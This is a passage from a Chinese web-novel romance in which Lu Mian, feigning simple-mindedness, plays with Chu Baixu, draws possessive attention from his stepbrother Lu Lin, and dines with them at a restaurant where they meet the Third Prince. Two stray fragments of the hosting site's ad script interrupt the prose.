褚夫人滞了滞,反应几息,“眠眠你是说,刚才不是这小子打你,而是……” 陆眠小鸡啄米般再次点了点脑袋。 是的没错,就是那样,他才是打人的那一个。 褚夫人见他点头,虽仍是不知陆眠方才为何哭泣,面上倏而带上笑意,松了手兀自拊掌道:“打得好!” 褚柏栩:“……” 他先是失语了一阵,旋即不自觉便望向了陆眠,眸底带着显而易见的惊讶——陆眠竟然帮他说话了。 褚夫人哈哈笑,“眠眠打疼了没有?下次有什么事知会伯母一声,伯母来动手,尽管使唤他。” 陆眠被她的彪悍之言弄得一惊,反观褚柏栩,神情自若地接受了自家老娘没把他当人的事实。 褚夫人说罢走出房间,顺带着把褚柏栩也拎走了,阿青阿平很快进来伺候他穿衣洗漱。 - 等到陆眠用完膳,褚柏栩才悠悠过来,进门就坐到了他对面,“谢了。” 轻飘飘的一句道谢,不仔细听根本就注意不到。 陆眠仰起脸。 “方才若不是你,她不会那么轻易放过我。”对自家老娘的手段,褚柏栩可是深有体会。因而他深知纵使当时褚夫人很快撒手,回头也定还有其他的惩罚等着他。 所以陆眠的那句话,算是解救了褚柏栩。 好不容易道完谢,他见陆眠一脸茫然的模样,心里低低道了句果然是个小呆瓜,随即不管陆眠听不听得懂,他接着又说:“你算是帮了我,说吧,想要什么,但凡我弄得到的,尽管道来无妨。” 陆眠听懂了,不止听懂了,他还格外高兴地一拍手站了起来,“坐骑!” 再度从对方口中听到这个称呼,褚柏栩愣了片刻,带着不确定的口吻同陆眠询问:“坐骑……是什么意思?” 陆眠试图用傻子的方式不那么聪明地同他解释,左右看了看,忽而一扭身子,反坐在椅子上开始摇摆弹舌,“der驾!” 褚柏栩盯着他瞧了好半晌,陷入沉默。 他知道了。 坐骑就是坐骑的意思。 他老娘没把他当人,陆眠是直接把他当马了。 想明白之后,褚柏栩抹了把脸,自己答应的事,总不好再反悔,于是他转过身,“上来吧。” 陆眠立马兴奋地站起来跑过去,只不过站到褚柏栩身后,他才发现两人身高差距悬殊,自己根本上不去,得对方蹲下来他才能爬上对方的背。 褚柏栩像座大山似的挺在跟前,陆眠合理怀疑对方根本不想带他飞。 “还不上来?”褚柏栩问。 陆眠更加确信了,抬脚便朝他屁股后面踢了一脚,褚柏栩顷刻弹开,“你干什么!”他都愿意让他骑大马了,怎么还踹他! 换个人,褚柏栩早就一拳过去了,但陆眠不行,他看着后者仿佛风一吹就跑的小身板,对上陆眠清亮的眸子,气蓦地散了。 褚柏栩好脾气地问:“小祖宗,踹我干什么?” 陆眠:0.0。 对方好像不是故意的,陆眠瞬间气弱,小声回:“上不去。” 褚柏栩恍然一拍自己脑门,看着他可怜巴巴的神情,感觉自己做了天大的错事,“是我的错,我忘了,我蹲下……你就是让我趴地上也行。” 知道是自己的原因后,褚柏栩心中愧疚难当,觉得陆眠今天让他做什么都成。 直到两个时辰后,褚柏栩从树梢跃下,脸上的表情有些苍白。身后,被他背在背上的人发出高唱:“芜湖!飞咯飞咯~我要飞得更高!” 褚柏栩一口血堵在喉头,他气若游丝地开口:“什么?还要更高?” 这还不够高? 体内的真气所剩无几,再来怕是要摔下去。 “下次、下次行不行?”褚柏栩求饶了。 陆眠装听不见,“飞飞!” 褚柏栩快要内伤了,谁来救救他。 再一次提劲飞跃墙头,一道颀长的身影映入眼帘,褚柏栩心头顿生一计,朝那头飞掠去。 陆眠快乐得不行,这不是还有力气吗,“牛马飞飞!” 褚柏栩提起的劲险些散掉,差点从空中跌落下去,落地时一个不稳。 “啊啊啊啊啊摔了摔了!”陆眠死死攀着褚柏栩的背,面露惊惶,生怕被甩下去。 褚柏栩没让他摔,迅速稳住了身形,将他稳稳托住,“没事,摔了我也不会让你摔。” 陆眠感动了,呜咽一声,他的好牛马。 他正欲夸夸对方,给予情绪价值,好让他继续带飞,话才刚到嘴边,跟前便传来一道熟悉的嗓音。 “你们在做什么?” 陆眠懵懵地抬眼,正对上陆凛看来的视线。对方瞳底漆黑,此刻深邃如幽潭一般,里面仿若藏着无数深暗晦涩的情绪。 陆眠猛一缩,把褚柏栩抱紧了。 “陆大公子,你来得正好。”褚柏栩被勒住脖子,额角青筋暴起,拼了老命才挤出一句:“快把你弟带走。” 今日的他已非昨日的他。 昨日的他还想把弟弟抢回来,今日的他只想赶快把陆眠送走。 陆眠心说褚柏栩还看电影呢,紧接着身子一轻,他就被人箍着腰换了个位置,略带凉意的怀抱将他严丝合缝地拥紧。 陆眠:OoO! 他一抬头,陆凛便低头朝他扫来,眸底深黑,似带着似丝侵略性。同一时间,陆眠察觉腰上的那只手箍得更紧了一点,他不禁动了动。 陆凛掐着他的腰,语气听不出喜怒,“这就不让抱了?” 13.喜欢飞 陆眠眨了下眼,眉毛皱了皱。 什么叫‘这就’,是哪就啊。 他不说话,腰上的手再度收紧,带着几乎要把他揉进自己骨血的力道,陆眠‘呜’了一声,眼睛瞬间变得湿漉漉的,“痛。” 掐着他的手顷刻松开。 “诶,”褚柏栩捏着自己刚被勒过的脖子缓过来,上前,“别弄他了,眠眠就是想有人带他飞着玩。”只不过他是飞着玩,带着他的则是玩命罢了。 陆凛没说话,他手上刚松开,陆眠就趁着这间隙从他身边溜了出去,怀中一瞬空空荡荡,仿似缺了一块。 陆眠慢吞吞挪到一边,搓搓腰,待眸子里因疼出来的水汽散去方才再次望向陆凛。 陆凛并未看他,眼眸微垂,视线落在自己空空的掌心,那里今日又缠着一圈纱布,此刻正渗出些许鲜红。 循着他的目光下落,陆眠也瞧见了那抹红色,又出血了啊…… 可以说陆凛是他见过的,最不爱惜自己身体的人。因为从小的精力,陆眠总是一个人,他只有自己爱护自己,又加上身体对疼痛感知格外敏感的原因,他从不会轻易让自己磕到碰到半点,否则要疼好久。 “差不多也是时候了。”褚柏栩接着继续:“我等一起去陪老太君用晚膳吧?” 早膳陆眠起得较晚因而没能陪同,晚膳自然要去陪老太君一道,他看了眼陆凛,“陆、兄也一起。” 陆凛点头。 三人相携朝正院行去,路上褚柏栩时不时揉揉胳膊捶捶腿,试图引起陆眠注意,好叫后者知道自己带着他疯了一个下午有多累。 然而陆眠的眼神始终没往他那边投去,反而时不时瞟向陆凛垂放身侧那只此刻包裹着的纱布已被鲜血浸透的手掌。 陆凛早就察觉到陆眠在看他,一眼又一眼,带着些纠结的小表情,似是对他的伤很是上心,那肉疼的模样仿佛受伤的是他自己一般。 昨夜同他上药时也是如此,丝丝抽着气,好似疼的是他自己,动静不小,陆凛便是个死人也该醒了。偏偏这个小傻子不知道,动作小心翼翼地给他上完药又盖了桌布悄悄回了自己床榻。 明明呆呆傻傻,整日只知犯蠢,还会将脆弱的一面展示在他面前,毫无防备。 一点点让他了解,与之前的陆眠判若两人,让他慢慢想要再深入些…… 陆凛眸子半敛,察觉陆眠愈发频繁地往他手上瞥,陆凛不动声色地把手背到身后。 陆眠原本正看着陆凛的伤,纠结这个人怎么还不处理,难道要等吃完饭再弄吗,那也太晚了。 也不知陆凛又是发哪门子的疯,昨晚烛火映照下的掌心血肉模糊一片,看着就吓人,现在想起来陆眠都觉得自己的手心都仿似在隐隐发疼。 结果他瞧着瞧着,陆凛把手背到了身后,失去了目标的陆眠蓦然抬目,朝身侧的人瞪了瞪。 陆凛睨他。 两人目光相接,陆眠琢磨了几息,叹了口气:“上药,就当是为了我。”他看着好疼啊。 陆眠才刚说完,就听褚柏栩开口:“啊,这倒也不用上药,只是有些疲累而已。” 陆眠表情呆滞,再次质疑,到底谁才是真的傻子。为什么他觉得,身边的人一个比一个傻,把他放在其中根本不够看。 - 最后谁也没去上药,几人一同来到正厅,老太君和褚夫人都在。见他们过来,褚夫人笑着望去:“瞧吧,儿媳就说不用派人去叫。” 老太君嘴角噙笑,对着候在一旁的管家吩咐传膳,一边朝陆眠招招手,“好乖乖,过来祖母看看,玩了一天累坏了吧。” 自得知孙儿出了事老太君便很是心疼,早前就想让人去陆府把人接来,眼下看到陆眠这个样子,更是怜惜,这两日一口一个‘乖乖’、‘心肝儿’地叫着。 陆眠待她招了三下手才磨蹭着走上前,笑得一脸傻气,被老太君轻轻揉捏着脸,嘴巴都嘟了起来。 捏脸是将军府的传统吗,怎么谁见了他都喜欢上手就捏。 不过老人家对他的关爱陆眠能够清楚地感知,故而乖乖任捏,惹得老太君愈发心情畅快,及至饭菜上桌,直接让人坐到自己右侧陪同。 陆眠便自然地坐在人身边,昨日他也是坐在这个位置的,吃完还被老太君拉着叙了好一会话。主要是对方单方面地说,他听,今日也是一样。 许是因着两人同住一屋,陆凛照旧没有离开。 看见他,陆眠就不由自主想到人的手心还没处理,老太君说完一句,他就要往陆凛那边看上一眼。 陆眠自认为不露痕迹,然而在场几人全都发现了他的动作。老太君和褚夫人相视一眼,褚柏栩暗自吃味,分明他才是与陆眠血脉相连的哥哥,虽然刚刚还很是嫌弃对方,可现下他又开始比较起来。 陆凛从始至终都安安静静坐在那里,与传闻中那个沉默寡言的陆家大公子一般无二,存在感低得仿佛根本没有他这个人般。 “想回去了?”老太君捏了捏自家小孙子的手,“那就和你大哥回去吧。” 她这话意有所指似的,褚夫人忽而抬手抵唇轻笑,瞥一眼老太君,旋即调侃的视线便往厅内扫去。 果不其然,待老太君话落,在场的两位兄长同时抬首。褚柏栩当即站了起来,表态,“我送弟弟回去。” 陆凛则是眼神直直朝陆眠落去。 被几双眼睛盯视的陆眠一阵恍惚,这其实根本就用不着选择,陆凛本来就和他一个屋,都不用人送。 可褚柏栩是他的好坐骑,今天带着他玩了一天,陆眠犹豫若是自己不选对方是不是显得太没礼貌。但见陆凛那深邃的目光,宛若他说错一个字,陆凛就会狠狠地咬上来,掐着他的脖子就开始质问,为什么不选他。 “弟弟选谁?”褚柏栩恍若未觉,还在问。 陆眠嘴巴抿了又抿,假装什么也没看到,蹭地站起来,他眼睛亮晶晶的,“我选c!”说罢,陆眠一溜烟便往门口窜去,跑的时候还发出‘嘿嘿’的声音。 对啊!他为什么要选,他根本就不用理别人怎么想。 “哈哈哈,”褚夫人拊掌大笑,“眠眠也太有意思了,臭小子,还不跟上小心人别摔着。” 褚柏栩一滞,他还没起身,余光中陆凛早已先他一步追了上去。 褚夫人笑得更大声了,“算了,不用去了,眠眠的大哥已经去了。” 褚柏栩:“……”这是亲娘。 默然片刻,他还是站了起来跟出去,试图用行动来证明,他才是大哥。 - 陆眠跑出去没多远,后衣领就被揪住。 他转头,对上陆凛深凝而来的双眸。俄顷,只听人问:“c是什么?” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >陆眠被这猝不及防的一问弄得呆滞几秒,他要如何同对方解释‘c’是什么,而且陆凛怎么听一遍就记住了。 “是ab的弟弟。”陆眠干巴巴道。 陆凛定定看着他。 陆眠唯恐他再问自己‘ab又是谁’之类的问题,正准备抢答,后方便传来一声高呼,“弟弟,大哥来了!” 远处,褚柏栩足尖轻点便到了两人跟前,衣袂翻飞,端的是潇洒风流。 “常威!你还说你飞不动了!”陆眠一瞬大喊! 褚柏栩刚站稳的脚下险些一个打滑,身体晃了晃,忽然觉得自己不该来的。 他只听到了后半句,陆凛却在意起前半句,“常威?” 陆眠仰头望天,心里莫名觉得陆凛今天好奇怪,从对方看到褚柏栩背着他的那一刻开始。 “什么常威?”褚柏栩后知后觉,顿时有点不高兴地问:“这个常威是谁,也带你这么飞过吗?”他还以为只有他。 “难怪你上次说坐骑满了。”褚柏栩看向陆眠的眼神带上了点谴责。 陆眠被他的脑回路惊呆,眼见两个人似随时准备把他架起来开始‘严刑逼问’,陆眠先发制人,“你都没有坐骑,怎么了,是不想吗!” 褚柏栩看他忽地抬头挺胸,还以为他要说什么,闻言即刻出声反驳道:“谁说我没有!”这个他还真有。 下一刻,他也跟着挺直腰板,傲然道:“我那可是陛下赐下的千里良驹!汗血宝马!整个东宁还没有比我的坐骑更厉害的!” “好吧。”陆眠蔫儿下来。 褚柏栩见他露出低落的表情,刚打算安慰一二,继而只闻陆眠幽幽说:“我的坐骑不如你。” 此话一出,褚柏栩的安慰卡在喉头。 如果他没记错的话…… 陆眠的坐骑,是包括他在内的吧? 所以是他比不过自己的坐骑? 褚柏栩沉默了,整个人都陷入了一种诡异的呆滞中。 陆眠登时志得意满,拍拍袖子,笑得意气风发地往自己院子走,连身边跟着的陆凛都没能再吸引他的注意力。 他可真厉害,陆眠暗中夸夸自己。 两人很快回到小院,进了卧房,身后响起房门‘咔哒’一下合上的声音,陆眠方才回神。 陆凛就站在他身侧,再度四目相对,陆眠又凶了起来,“看什么看!再看就把你吃掉!” 说完,他自己先尬了一下,左右四顾想着再说一句,紧接着便听到陆凛浅声开口:“你喜欢飞?” 陆眠:OvO。 “谁不喜欢吗?”他反问。 陆凛顿了顿,视线盯在他脸上,忽然道:“我可以学。” 陆眠表情迷茫。 陆凛沉声:“你若是想让人带你飞,我可以去学。”如此,就用不着旁的人背他了。 这个想法来得莫名又汹涌,陆凛并不想忽略。 或许,昨夜他已经想得十分明白了。 陆眠眼睛倏地睁大。 陆凛眸光微闪,等着人的答案。 随即,耳边响起少年满含不确定的嗓音。陆凛对上那双澄澈清润的眸子,陆眠表情认真又严谨,“那这样……如果摔下来不会东一块,西一块的吗?” 不会的话,他可就要答应了哦。 陆眠十分心动地想。 14.也傻了 在陆凛沉吟着答应下后,陆眠立马接上一句:“好耶!” 徒弟变坐骑,也不亏。 陆眠:*0v0*。 他高兴了,两边酒窝都露了出来。紧接着,颊侧就被戳了戳。 陆眠:OoO。 “你、干嘛?”他说话都带上了点小结巴,圆溜溜的杏眼瞪得大大的。 陆凛在他的注视下收回手,指腹轻轻摩挲几下,仿似在回味方才的触感。 陆眠悄悄往后退。 他就说陆凛今天怪怪的,竟然又碰他了。陆眠紧紧盯着刚才戳了自己一下的那只手,咽了咽口水。 之前挨了他一下都嫌弃地把手擦个不停,现在主动碰过来,这不得把那截指尖剁了。 陆眠开始神游,及至右边也被戳了戳,他猛地弹了一下。 被戳了个对称的陆眠对着人就吼:“又做什么!” 陆凛并未开口,眉眼略低,视线扫着自己指尖,喉结上下滑了滑。 和他想象中一模一样,软得不可思议。嫩而滑腻的触感,让人难以放手,只想狠狠攥在手中,再来一下…… 陆凛望向陆眠。 陆眠忽地抬手就捂住了自己面颊,眼神警惕。 “不碰你。”见状,陆凛出声。 陆眠目露怀疑,手还捂着不放。 陆凛退了退,与他拉开距离,说到做到。 “没事不要随便碰本大爷。”陆眠叭叭道,而后好奇:“你说要学,怎么学?” 陆凛:“拜师。” 陆眠疑惑看他。 陆凛唇线微微一抿,“拜褚少将军,向他请教功夫。”在他所知的人中,褚柏栩的武艺最高。 陆眠恍恍惚惚。 他的徒弟为了当他的坐骑,跑去跟他的坐骑学习武艺,然后踢掉坐骑当坐骑。 陆眠都要佩服起陆凛了,但后者并没有想要同他继续解释下去的意思。正在这时,下人打了水进来供两人洗漱之用。 陆眠忽而想起什么,眼神再次往陆凛手上瞥。 这回陆凛没再将手背到身后,同一旁侍立的阿青道:“去取些药来。” 阿青连忙去取了管药膏过来,陆凛当着陆眠的面就把染血的纱布解开,取下来时粘连着细碎的皮肉,场面堪称血腥。 耳旁适时传来丝丝抽气的声音,陆凛转头,就见陆眠眼巴巴地盯着他的掌心,明明瞧着害怕得不行,却并没有将视线挪开分毫,倔犟得要命。 陆凛迅速将伤口处理好。 接着两人相继洗漱,陆眠犹豫着往里间走,时不时回头看陆凛有没有跟上。和他想的一样,陆凛并没有跟上他,而是留在了外间,似打算继续睡在长桌拼接而成的‘床’上。 陆眠拧拧眉,感觉自己好像在欺负人。床榻原本是褚夫人给他们两人准备的,结果却被他一个人霸占了,他还把人给挤去了桌子上睡。 而且陆凛还是个伤者。 思及此,陆眠脚下步子越来越慢,直到停在原地站着就不动了。 陆凛的声音徐徐响起,“怎么不进去?” 陆眠嘴巴紧紧闭着,一时竟不知该如何改口,心中犹豫不决,该不该让陆凛进去。 脚步声自身后传来,陆眠绷紧了神经,陆凛三两步便行至他跟前,低眼朝他看来。 沉默无声蔓延,明明没开口,对方那双深黑的眸子中好似在询问。 陆眠埋首,还在思考应该怎么说。 陆凛却忽然间说道:“是想让我一起进去?” 闻言,陆眠蓦地抬脸。 陆凛视线扫过他那双清澈如水的眸子,一切都明白了。呼吸仿佛都沉了点,他将话问得更为直白,往日里轻淡的嗓音中似重了些许,又宛若依旧,“想让我与你一起睡?” 这话听起来怪怪的,他分明是想着自己不能占人便宜,接着想到陆凛的癖好,陆眠下意识就要拒绝,“我睡!” 说着,他一溜烟往里间奔去,嘴里不停,“睡觉睡觉睡觉。”管陆凛睡不睡,睡哪里,反正不能跟他睡。 那可是给,他怎么能因为动了恻隐之心就跟人睡在一起。 想到这,陆眠猛地打了一个哆嗦。还好陆凛话多,不然他差点就真的让人跟进来了。 许是没有得到确切的答案,陆凛并未跟进里间,陆眠独自霸占了整张大床,很快就睡过去,到了半夜他再次醒来。 口不是很渴,他翻了个身,打算继续睡。 不多时,陆眠睁开眼,叹了口气起身出去。 烛火摇曳中,外间的长桌被拼接到了一起,那道修长的人影躺在上方,双手安然地垂在身侧。陆眠看了看那只被主人几经摧残的手,松了口气之余,他心中略微有些古怪。 他垂眼打量,总觉得这一幕似曾相识。 陆凛没有自残不说,竟将昨日他随手给对方盖着的桌布又盖到了身上,老实得过分。 陆眠摸了摸后颈,晃晃悠悠回了里间。 待他一走,陆凛便睁开了眼睛,微微侧目看向人离开的方向,眼中划过一抹深思。 少顷,陆凛抬手将掌心盖在脸上方才缓缓合上眸子,梦中似有着那抹熟悉的暖香,叫人心驰神往。 - 第二日,陆凛前往书院。褚柏栩晨间去军营,午时回来,正好遇上起床的陆眠。 “起了?”褚柏栩笑眯眯地上前,约莫是昨日累积的‘深厚’情谊,他不由仔细看了看陆眠,“没睡好?” 陆眠点了点脑袋。 “叫声大哥,我带你出去逛逛?”褚柏栩诱惑道。 陆眠眼睛亮了亮,“去玩!” 褚柏栩:“叫大哥。” 陆眠不上当,“小老弟。” 褚柏栩满头黑线,继续诱哄:“叫我大哥。” 陆眠装不懂,“老弟” 褚柏栩:“大哥。” 陆眠:“嗯嗯!” “叫我、嗯?”褚柏栩正待纠正,忽然察觉什么,“好你个陆眠!” 陆眠眼神越过他,径直往院门奔去,褚柏栩见他要跑,把腿就欲去追,“你以为能跑得过我?” 他说罢便伸出手去,耳旁一句熟悉的高昂女声乍响,“跑跑跑,跑什么?臭小子,又欺负眠眠了是不是?” 褚柏栩猛然顿住,定睛一瞧,褚夫人正站在那头,眼神凌厉地朝他扫视而来。 陆眠此刻已颠颠儿跑到了她的身侧,眼神炯炯地看着他。 这小傻子也没那么傻啊,褚柏栩心中暗骂,“娘你看错了吧,我何时欺负过眠眠?眠眠,过来大哥带你出府玩去。” “出府?”褚夫人蹙眉,“你要带眠眠出府?” 褚柏栩一滞,没吭声。 陆眠连忙接上:“出府!去玩!” 褚夫人面色一变,含笑望向陆眠,温声道:“眠眠想出府?” 陆眠点头。 褚夫人摸摸他的头,视线转回褚柏栩身上,眸中柔色尽去,肃容道:“你带弟弟出府,记得把人看顾好,少了一根头发我唯你是问。” 褚柏栩老实点头:“是。” 陆眠从褚夫人身后探头,就见褚柏栩朝自己瞪了一眼,他也回瞪过去。 懂了,一会回来的时候拔掉一根头发塞这人手里,陆眠在心中发出反派的笑声:“桀桀桀。” 待褚夫人又挑选了几名身强体壮的护卫,陆眠用罢午膳,这才让褚柏栩带着人出府。 两人一上马车,褚柏栩就做出一副阴恻恻的表情盯着陆眠。 “你胆子好大啊!”他说。 陆眠:“我是熊心豹子胆。” 褚柏栩顿时被他噎住,将心中的疑惑道出:“你是真的傻了还是假的?” “我不傻。”陆眠正色道。 “哦,”褚柏栩随意往身后靠去,嗓音悠悠,“傻子都说自己不傻,所以你原来是真傻了。” 陆眠有理有据地反驳:“你也从来都没否认自己不是傻子!啊啊啊,大傻子吃人了!吃…唔、” 他才刚喊到一半,嘴巴就被捂住。 褚柏栩是真的服了这小祖宗,“好了好了,你不傻你不傻,别喊。” 马车后面跟着的可是褚夫人精心挑选出来的护卫,万一把陆眠在马车上大叫的事情告诉对方,回头指不定还要拿他问罪。 陆眠掰着他的手,含含糊糊道:“放开、唔!” “好好好,放开放开,这就放,”褚柏栩同他商量,“那你别喊。” 陆眠点点头。 褚柏栩慢慢把手松开,结果才刚松一点,掰着他的人一拧,紧接着褚柏栩手背骤疼,“嘶——” 陆眠给他手上揪了一下,倒也没多用力,“服不服!” 褚柏栩嘴角抽了抽,“服了服了。” 他是真服了这小祖宗,坐得离人远了些。 陆眠把头往车外面探,看着街道两旁人来人往,回头问:“去哪里玩呀?” 褚柏栩:“去醉仙楼。” 陆眠跟着他念,“醉、仙、楼?”这是干什么的?听着陌生,他得想想书里有没有出现过这个地方。 “京中有名的酒楼,带你去用午膳,”褚柏栩看他一眼,“方才不是没吃多少?” 陆眠:0.0。 “你是个好人。”陆眠说。 “知道大哥的好了吧。”褚柏栩扬了扬嘴角。 陆眠脑袋上下点了点,褚柏栩当即大笑起来。 - 马车到得醉仙楼后停下,陆眠像个小炮仗一样就要往外冲,褚柏栩拦了一把才没让人摔着。 “慢点。”他扶着人下去。 两人刚进门就听到一道略显气愤的声音,“本公子的玉佩就是在你们这掉的,是谁捡到的自己站出来,本公子便不追究 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了!” 陆眠撩起眼皮便看见一个年纪不大的锦衣小公子叉着腰站在大堂中央,少年抬着下巴,神情倨傲地扫视周遭,目光正好与走进来的陆眠对了个正着。 四目相对,他不自觉往后退了一步,大声道:“不是我,我刚来!” 跟在他身后进来的褚柏栩捂住脸,“也没人说是你。”语毕,他把人拎到身后。 即此时,一道轻笑声从前方传来,陆眠歪了歪脑袋。青年一袭月色长衫立在二楼雅间外,温润如玉,眸子微敛往下望来,却并不显得居高临下,唇角噙着笑,对陆眠这边点了下头。 陆眠无意识跟着点头。 “三哥!”方才那少年唤了声,抬步朝人跑了过去。 这时,站在陆眠身侧的褚柏栩拱了拱手,“三、公子。” 青年颔首,笑着应:“阿栩。” 陆眠一瞬警觉,能这么叫褚柏栩的,书里好像就只有…… 男主,即当朝三皇子,萧恒。 陆眠:O.O。 他仔细看了看,发现男主也是一双眼睛一个鼻子一张嘴,陆凛就是输给了这个人。 可能是因为和陆凛接触更多,他也没觉得男主有多厉害。 相比之下,陆凛能够从一无所有做到当朝首辅的位置,岂不更厉害。可惜最后成为了萧恒登基后的第一块垫脚石,陆眠眉毛一拧,立马就不想看对方了。 然而他才刚要收回视线,却见自萧恒身后走出一人。 只见其五官深邃,鼻梁高挺,目似朗星,视线落来时眸底一片漆黑,是陆眠再熟悉不过的一张脸。 “陆凛也在?” 褚柏栩挑眉。 陆凛看他一眼,快步下楼,径直便到了陆眠跟前。 褚柏栩:当他不存在是吧。 陆凛垂眼,凝视陆眠面庞,声线舒缓,“怎么出府了?” “来吃好吃的,”陆眠顿时忘了好奇他怎么在这,摸了摸嘴角,指向褚柏栩,“请客。” 陆凛这才扫了眼褚柏栩,旋即迅速收回目光,低语:“嗯,想吃什么?” 陆眠掰手指,“巧克力冰淇淋、芒果慕斯、蛋挞,奶油、” 举起的三根半指尖被一手包裹住,他一顿,仰头去看跟前抓着他的人。 陆凛看着他,道:“知道了。” 是他一贯平淡的嗓音,语气间却难得流露出几分笑意。 “这位是……”几人说话时,萧恒已从上方走了下来,望向陆眠。 陆凛不动声色地侧了侧身,将陆眠挡在身后,一旁的褚柏栩正欲介绍,却被他率先抢答道:“是我的、” 话到一半,他微微停顿,褚柏栩不甘示弱,“我弟弟!” 萧恒:“哦?” 刚刚的少年也哒哒跑了上前,“可是,将军夫人不是只得了少将军一个?” 褚柏栩还未出声解释,萧恒便了然开口:“应是褚太傅之子。” 褚太傅,原主亲爹。陆眠听到这,不禁从陆凛身后冒了个头,接着他就被轻轻抵着额给摁了回去。 陆眠掌心盖着额头,陆凛指尖收了收,“弄疼了?” “不痛!”可能是因为马上就能吃东西了,陆眠这会还是非常好说话的,“我金刚不坏。” 耳畔似掠过一声短促的低笑,陆凛没说话,“走吧,带你去吃东西。” 陆眠:“吃东西!” 陆凛同萧恒点点头,拉着人往楼上雅间走去。褚柏栩‘唉’了一声,又顾忌着萧恒,正犹豫着,陆凛已经带着陆眠上了楼,他索性停了下来。 - 二楼雅间。 陆眠刚坐下眼神就往陆凛身上瞟,疑惑后者怎么会和三皇子出现在一起。 他们一个是反派,一个是男主。 “看我做什么?”陆凛给他倒了杯水放在手边,见状不咸不淡地开口。 陆眠:“看你好看,看你下饭。” 陆凛手上动作一凝,突然望着陆眠,喊了一声:“眠眠。” 乍然听到陆凛这么叫他,陆眠只觉自己浑身鸡皮疙瘩都要冒出来了。 陆眠忍不住去搓手。 但他还没来得及抬手,陆凛的下一句话让他浑身血液都凝固了起来,整个人都僵在椅子里。 陆凛似自语,一字一句,话语清晰地往陆眠耳中钻去。 “我有时觉得,你好像不傻。” 陆眠傻愣愣的。 他这演技,都可以拿奖了,凭什么说他不傻。 陆眠对上陆凛看过来的目光,眼睛里都快飙出眼泪了,乌黑的眸子氤氲开雾气,旋即眼尾便被按了按。 陆凛的指腹压在他眼尾处。 陆眠呆了呆,瞥见陆凛眼神转开,不知落向何处。末了,对方声线幽幽,再度响起,带了些许自嘲的意味。 “有这个想法的我,是不是也傻了?” 15.小醉鬼 陆眠刚冒出头的眼泪憋了回去,从现在开始,他要平等地讨厌每一个说话大喘气的人了。 “谁傻了?”雅间的门‘啪’一声打开,褚柏栩从外头走进来,一看到里面两人的姿势便蹙起眉,“在做什么?” 他看到陆眠眼睛红红的,一副活似受了欺负的模样,即刻便横眉怒目地睇向陆凛,“你打他了?” 陆凛指尖还点在陆眠眼尾,轻轻捻了捻方才挪开手,随后看了眼褚柏栩,并未有想要搭理对方的意思。 “眠眠,他欺负你了?”褚柏栩很讲道理地准备先将罪名坐实再决定要不要动手,现下只需陆眠轻点下头,他就立马把陆凛抓起来丢出去。 陆眠还在发呆,着实是刚刚陆凛的那句话把他给吓到了。 无人搭理的褚柏栩颇有种不受待见的感觉。 “想吃什么?”陆凛的声音从身侧传入耳里。 陆眠倏尔回过神,转头,眸中湿意悄然尽去,声音里带着气闷,‘恶狠狠’地盯视回去,“吃破产!” 话落,又是一道声音响起,有些弱弱的,“眠眠,这顿是我请。” 褚柏栩抹了把额头上并不存在的汗,表情很是无奈。 陆眠撇了撇嘴,侧过脸去看褚柏栩,正欲收回刚才的那句话,只闻身旁陆凛开口道:“我请也可。” 陆眠再次偏头望向陆凛。 后者也朝他看来,声音不急不缓,“把我吃破产。” 有陆凛这句话,陆眠顿时哼哼起来,“告诉你,我可不一般哦。” 褚柏栩想到他午膳时吃的那点东西,不禁‘嗤’了声,“你那点子食量,确实不一般,喂猫都得被饿死。” 陆眠用‘你懂什么’的眼神瞥了瞥他,“我是高三(二)班!不一班!” 褚柏栩茫然了,“什么?” 两人说话间,陆凛朝门外的伙计招了下手,“有什么不吃的?” 听到问话,褚柏栩下意识接口:“我都能吃。”说完他就见陆凛看了他一眼。 褚柏栩:“……”原来不是问他的。 陆眠端正坐好,满嘴胡话:“不吃傻蛋,不吃笨蛋。”陆凛都开始怀疑他了,陆眠觉得自己果然还是不能表现得太过聪明。 “哈哈哈,”褚柏栩即刻便笑了出来,“你问他也是白问。” 陆眠在心里偷偷对褚柏栩翻了个白眼。 陆凛不问了,随意点了些菜。陆眠在一边听着,每听到一个菜名眼睛就闪烁几下,亮晶晶的,都是他爱吃的。 见陆凛点完菜,褚柏栩插口道:“再点一个八糙鹑子、江米酿鸭子、鱼香豆腐,上一壶烧春酒。” 陆眠扭头,纠正:“四个。” 见褚柏栩朝他瞥来,陆眠亦直勾勾回视过去,眼底澄澈如洗,语带好奇,“鱼香豆腐里有鱼吗?” 褚柏栩滞了滞,“没有。” “那为什么叫鱼香豆腐,”陆眠继续问,抠着手指头叭叭,“老婆饼里没有老婆,夫妻肺片没有夫妻也没有肺……” 他自顾自说着,旁边的两个人根本插不进话。 褚柏栩从呆怔中回神,徐徐转过头,“他一直这样?” 陆凛没有回答他的问题,眼神始终凝在陆眠身上,眸中似有笑意一闪而过。 陆眠:“啊不对,就算有也不敢吃。” 老婆饼里要是真有老婆,夫妻肺片真有夫妻那才吓人。 褚柏栩怜爱地看着傻掉的弟弟,“我们不吃那些,待会吃的就上来了。” 随着美食上桌,他自动自发地端起一个小碟子将每一样都夹了些准备放到陆眠手边。但还不等褚柏栩把碟子放下,陆眠面前的小碗中已经堆满了。 褚柏栩掀起眼皮,正好看到收回筷子的陆凛。 两人对了一眼,后者微抬目,“褚少将军不吃?” 陆眠嘴里啃着一根大棒骨,含含糊糊道:“吃吧吃吧!今天的消费全部都由陆公子买单!” 褚柏栩:“……” 到底是谁请客? 不过陆凛那仿佛只看得见陆眠的态度,也让褚柏栩生出些许不悦来。 明明他才是陆眠的大哥。 “吃,眠眠有什么想吃的大哥给你夹。”褚柏栩把碟子放到他前面,又给自己倒了杯烧春酒浅浅呷了一口,旋即双腿叉开往后倒在椅子上,姿态说不出的豪放。 陆眠咬了一大口肉,嚼吧嚼吧,“唔,我全都要!” 他才不做选择。 褚柏栩哈哈大笑,索性将杯中酒一口饮尽,接着又给他夹了不少菜。 随着他的靠近,淡淡的酒香飘荡至陆眠鼻端,他耸了耸鼻头,“香香的。” 陆眠正打算转过去,下巴就被掰了下。一口虾肉被抵了进来,他‘啊呜’塞了满嘴,瞬间又看向另一边给他剥虾的陆凛,一脸感动。 陆眠:QvQ。 都感动哭了。 陆凛好的时候还挺好的。 还给他剥虾。 